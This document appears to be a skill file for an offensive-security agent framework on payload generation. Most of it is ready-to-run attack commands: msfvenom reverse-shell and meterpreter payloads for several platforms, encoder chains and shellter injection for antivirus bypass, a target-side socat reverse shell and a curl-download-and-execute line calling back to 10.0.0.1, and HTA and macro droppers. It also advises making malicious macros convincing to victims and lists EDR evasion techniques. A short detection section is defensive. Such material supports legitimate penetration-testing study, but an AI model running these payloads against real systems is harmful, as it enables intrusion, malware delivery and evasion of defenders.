Payload Generation

Skill: Payload Generation

Supplementary Files:

• payloads.md — Complete payload collection organized by category: reverse shells (Bash/Python/PowerShell/Netcat), msfvenom formats, encoding chains, delivery mechanisms, listener setup, and shell stabilization
• test-cases.md — 6 structured test cases covering reverse shell generation, staged vs stageless payloads, msfvenom encoding, shell stabilization, nishang PowerShell payloads, and socat encrypted shells

Summary

Payload Generation skill domain covering exploitation operations.

Tools: msfvenom, netcat, socat, nishang, hoaxshell, rlwrap, shellter

Domain: exploitation

MITRE ATT&CK: TA0007-Command and Control

Description

Payload generation covers the creation, encoding, and delivery of shellcode and executable payloads for initial access and command-and-control (C2) communication. This skill spans reverse shell generation across platforms (Linux, Windows, macOS), payload encoding for antivirus bypass, and delivery mechanism selection for reliable execution in target environments.

Core Attack Surfaces:

• Reverse Shell Generation: Creating connect-back payloads in multiple languages (Bash, Python, Perl, PowerShell, Netcat) for environments where specific interpreters are available or certain binaries are restricted.
• Staged vs Stageless Payloads: Choosing between meterpreter staged payloads (smaller stager, downloads second stage over network) and stageless payloads (self-contained, no network dependency for second stage but larger file size).
• Encoding and Evasion: Applying encoding transforms (shikata_ga_nai, multi-encoder chains) to modify payload signatures, injecting shellcode into legitimate executables with shellter, and using hoaxshell for encrypted C2 channels.
• Delivery Mechanisms: Web delivery (Python HTTP server, metasploit web_delivery), HTA applications, Office macro injection, DLL side-loading, and format-specific payloads (exe, dll, ps1, war, jsp).
• Listener Setup and Shell Stabilization: Configuring reliable listeners (netcat, socat, metasploit multi/handler), upgrading raw shells to interactive PTY sessions with rlwrap, and establishing encrypted tunnels with socat.

Related Skills:

• skills/post-exploitation/SKILL.md — Post-exploitation techniques after establishing shell access
• skills/av-edr-evasion/SKILL.md — Advanced AV/EDR bypass beyond basic encoding

Use Cases

1. Initial Access Shell Generation: Generate platform-appropriate reverse shell payloads (Linux/Windows/macOS) during web application exploitation, command injection, or file upload vulnerabilities to establish interactive access.
2. Cross-Platform Payload Creation: Build payloads targeting specific OS and architecture combinations (Windows x64, Linux ARM, macOS x86) using msfvenom format selection and platform flags.
3. AV Bypass Payload Preparation: Encode payloads with multiple encoder iterations, inject shellcode into legitimate PE files using shellter, or use hoaxshell encrypted channels to evade signature-based detection.
4. Red Team Delivery Package: Create complete delivery packages including HTA droppers, macro-enabled documents, or DLL side-loading setups for social engineering campaigns or physical access scenarios.
5. C2 Infrastructure Setup: Configure robust listeners with automatic session handling, establish encrypted reverse shell tunnels, and stabilize shell sessions for reliable long-duration operations.

Core Tools

Auxiliary tools: metasploit multi/handler (listener for staged payloads), metasploit web_delivery (served payload delivery), xinject (cross-platform shellcode injection), donut (PE-to-shellcode conversion).

Methodology

Attack Chain

[1] Target Analysis      [2] Payload Generation   [3] Encoding
  - Platform (Win/Lin/Mac)  - msfvenom format select   - shikata_ga_nai
  - Architecture (x86/x64)  - Staged vs stageless       - Multi-encoder chains
  - Available interpreters  - Meterpreter vs raw shell   - Shellter PE injection
  - Network restrictions      |                            |
      v                       v                            v
[4] Delivery           [5] Listener Setup      [6] Shell Stabilize
  - Web delivery          - netcat basic listener    - rlwrap readline
  - HTA / macro           - socat encrypted tunnel   - PTY upgrade
  - DLL side-loading      - multi/handler staged     - socat encrypted shell
  - Physical media          |                         - Background/foreground
      v                       v
[7] Post-Exploitation
  - Privilege escalation
  - Lateral movement
  - Persistence

Defense Perspective

Practical Steps

For detailed payloads see payloads.md, and for the complete test checklist see test-cases.md. Below is a summary of core operations for each phase.

1. Target Analysis and Payload Selection

# Identify target platform and architecture
# Linux x64 reverse TCP shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf

# Windows x64 reverse TCP shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

# Windows PowerShell reverse shell (no executable needed)
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f ps1 -o shell.ps1

# macOS reverse shell
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f macho -o shell.macho

# List all available payloads
msfvenom --list payloads | grep -i "reverse_tcp"

2. Staged vs Stageless Payload Selection

# Staged (smaller, downloads second stage) — format: <platform>/<arch>/meterpreter/reverse_tcp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o staged.exe

# Stageless (self-contained, no second stage download) — format: .../meterpreter_reverse_tcp
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o stageless.exe

# Compare sizes
ls -la staged.exe stageless.exe
# staged.exe: ~15KB    stageless.exe: ~200KB+

3. Encoding for AV Bypass

# Single encoder, 5 iterations
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  -e x64/shikata_ga_nai -i 5 -f exe -o encoded.exe

# Multi-encoder chain
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  -e x64/shikata_ga_nai -i 3 -f raw | \
  msfvenom -p - -e x64/zutto_dekiru -i 3 -f exe -o multi_encoded.exe

# Shellter PE injection into legitimate executable
shellter -i -f /usr/share/windows-binaries/plink.exe -p 1 -lhost 10.0.0.1 -lport 4444

4. Listener Setup

# Basic netcat listener
nc -lvnp 4444

# rlwrap for readline support (history, arrow keys)
rlwrap nc -lvnp 4444

# socat encrypted listener (requires certificate)
openssl req -newkey rsa:2048 -nodes -keyout bind.key -x509 -days 365 -out bind.crt
cat bind.key bind.crt > bind.pem
socat OPENSSL-LISTEN:4443,cert=bind.pem,verify=0 FILE:`tty`,raw,echo=0

# Metasploit multi/handler for staged payloads
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"

5. Shell Stabilization

# After receiving raw reverse shell on Linux:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background
stty raw -echo; fg
# Press Enter twice
export TERM=xterm

# Alternative: use socat for PTY shell from the start
# On attacker (listener):
socat TCP-LISTEN:4444,reuseaddr,fork FILE:`tty`,raw,echo=0
# On target:
socat TCP:10.0.0.1:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

6. Delivery Mechanisms

# Web delivery — serve payload via Python HTTP server
python3 -m http.server 8080
# Target downloads: curl http://10.0.0.1:8080/shell.elf -o /tmp/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf

# Metasploit web_delivery (no file on disk)
msfconsole -x "use exploit/multi/script/web_delivery; set TARGET 7; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"
# Generates PowerShell one-liner for target execution

# HTA delivery (Internet Explorer / mshta.exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f hta-psh -o evil.hta

Payload Encoding Strategies

Encoding transforms shellcode bytes to avoid specific byte sequences (bad characters), bypass signature-based detection, and adapt payloads for restrictive delivery channels. Understanding when and how to apply encoding is critical for successful payload delivery.

Encoding Decision Matrix

Encoding Trade-offs

Higher encoding iteration counts increase payload size and may trigger behavioral heuristics that flag polymorphic code patterns. A 5-iteration shikata_ga_nai encoding produces a larger payload than a single iteration, and the decoder stub itself can become a detection signature. Multi-encoder chains (applying different encoding algorithms sequentially) are more effective than high iterations of a single encoder because each encoder produces a different transformation pattern.

Staged vs Stageless Payload Selection

Choosing between staged and stageless payloads is one of the most consequential decisions in payload generation. The wrong choice results in silent failures that are difficult to diagnose during engagements.

Selection Criteria

Hybrid Approach

For engagements where both reliability and stealth are needed, generate both staged and stageless payloads targeting the same LHOST/LPORT. Deploy the staged payload as the primary vector (smaller, less detectable) and fall back to the stageless payload if the second stage download fails due to network restrictions.

# Generate both variants with matching parameters
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o staged.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o stageless.exe

# Set up multi/handler that can catch both
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; set ExitOnSession false; exploit -j"

Payload Delivery Methods

The delivery method determines how the payload reaches the target system. Selecting the right delivery method requires understanding the target environment, the available attack vectors, and the defensive controls in place.

Delivery Method Comparison

Delivery Reliability Best Practices

1. Always test the delivery chain end-to-end before the engagement. A payload that works in the lab but fails on the target wastes time and may alert defenders.
2. Have multiple delivery methods prepared. If the primary method is blocked, immediately switch to the backup without re-generating payloads.
3. Match the delivery method to the target's daily workflow. A malicious macro in a financial spreadsheet is more convincing than a generic HTA download.
4. Consider the forensic artifacts each method leaves. HTA files create temporary files on disk. PowerShell web delivery may be logged in event logs. Memory-only delivery (hoaxshell) leaves fewer artifacts.

Defense Evasion Techniques

Encoder/Encryptor

• Shikata Ga Nai (Metasploit): Polymorphic XOR encoder; signature changes per run.
• Custom encoders: Write custom encoder; defeats known signatures.
• Multi-stage encoding: Apply multiple encoders in sequence; harder to analyze.

NoPS Shellcode

• Pure syscall shellcode: Avoid ntdll imports entirely; bypasses user-mode hooks.
• SysWhispers / HellsGate: Dynamically resolve SSNs at runtime.
• Indirect syscalls: Use legitimate ntdll return address but custom syscall instruction.

Staged Loading

• Stage 1 (small): Small loader pulls stage 2 over network; defeats signature scanning.
• In-memory only: Stage 2 never touches disk; evades AV.
• Donut shellcode: Convert .NET/PE/DLL to position-independent shellcode.

Reflective Loading

• Reflective DLL injection: Load DLL from memory; no LoadLibrary call.
• ManualMap: Manually map PE into process; no module table entry.
• Module stomping: Load legitimate DLL, overwrite with payload.

Automation and Scripting

Payload generation benefits from scripting to automate the build-test-refine cycle. Wrapper scripts around msfvenom can iterate through payload types, encoders, and iteration counts to find combinations that bypass specific AV products. Automated listener management scripts can spin up multi/handler instances with predefined resource scripts, enabling rapid testing of multiple payload variants. For red team operations, building a payload generation pipeline that produces multiple formats (exe, dll, ps1, hta, macro) from a single configuration ensures consistent LHOST/LPORT/encoder settings across all deliverables.

Common Pitfalls

A frequent mistake is selecting staged payloads without a corresponding multi/handler listener — staged payloads will fail silently because the second stage has nowhere to connect. Another pitfall is neglecting shell stabilization: raw reverse shells drop on accidental Ctrl+C and lack tab completion, making post-exploitation work error-prone. Always stabilize immediately after catching a shell. For encoding, relying solely on shikata_ga_nai with high iteration counts rarely bypasses modern AV — consider shellter injection or custom loaders instead. Finally, failing to match payload architecture to the target (e.g., x86 payload on x64 target) results in crashes or silent failures.

Detection Methods

Reverse shells are detected through multiple overlapping indicators: network-level detection monitors for long-lived outbound connections to unknown IPs, especially on non-standard ports. Process-level detection flags cmd.exe or powershell.exe spawned by unusual parent processes (e.g., word.exe, mshta.exe). Host-based IDS monitors for process injection patterns and unexpected network socket creation. Behavioral analysis catches encoded PowerShell commands decoded at runtime via AMSI. Network IDS signatures match known meterpreter handshake patterns and common shell connection sequences.

Hacker Laws

• Know Your Target: Payload selection must match the target platform, architecture, and available interpreters. A PowerShell payload is useless against a Linux target; an ELF binary will not execute on Windows. Reconnaissance determines payload viability.
• Defense in Depth Applies to Attackers: Layer encoding (shikata_ga_nai chains), injection (shellter PE), and delivery (HTA rather than raw exe) to increase the probability of bypassing multiple defense layers. Single-layer evasion fails against defense-in-depth.
• Fail Gracefully: Always have a fallback delivery method. If the primary payload is detected, the secondary encoding or alternative format should still succeed. Stageless payloads serve as fallback when staged delivery fails.

Learning Resources

Supplementary files for this skill:

• payloads.md — Complete payload collection (reverse shells, msfvenom commands, encoding chains, delivery techniques, listener configuration)
• test-cases.md — Structured test cases (6 cases covering all core payload generation scenarios)

Workspace guides:

• guides/reverse-shell-complete-guide.md — Complete reverse shell reference for Linux and Windows with listener setup and stabilization
• guides/msfvenom-payload-generation-guide.md — msfvenom deep dive covering format selection, encoder chaining, and custom templates
• guides/payload-delivery-evasion-guide.md — Delivery techniques and AV bypass strategies including shellter and hoaxshell
• guides/cross-platform-payload-guide.md — Cross-platform payload generation for Windows/Linux/macOS, architecture considerations (x86/x64/ARM64), cross-compilation
• guides/web-shell-generation-guide.md — Web shell generation (PHP, ASP, JSP, Python), obfuscation, detection avoidance, one-liner shells
• guides/payload-encoding-encryption-guide.md — Encoding layers (shikata_ga_nai, XOR, base64), AES encryption, custom encoders, entropy analysis

Related skills:

• skills/post-exploitation/SKILL.md — Post-exploitation techniques after shell establishment
• skills/av-edr-evasion/SKILL.md — Advanced AV/EDR bypass techniques

External resources:

• Reverse Shell Cheat Sheet (PentestMonkey): http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
• msfvenom Documentation: https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html
• Nishang GitHub: https://github.com/samratashok/nishang
• HoaxShell GitHub: https://github.com/t3l3machus/hoaxshell
• Shellter GitHub: https://www.shellterproject.com/
• HackTricks - Shells: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells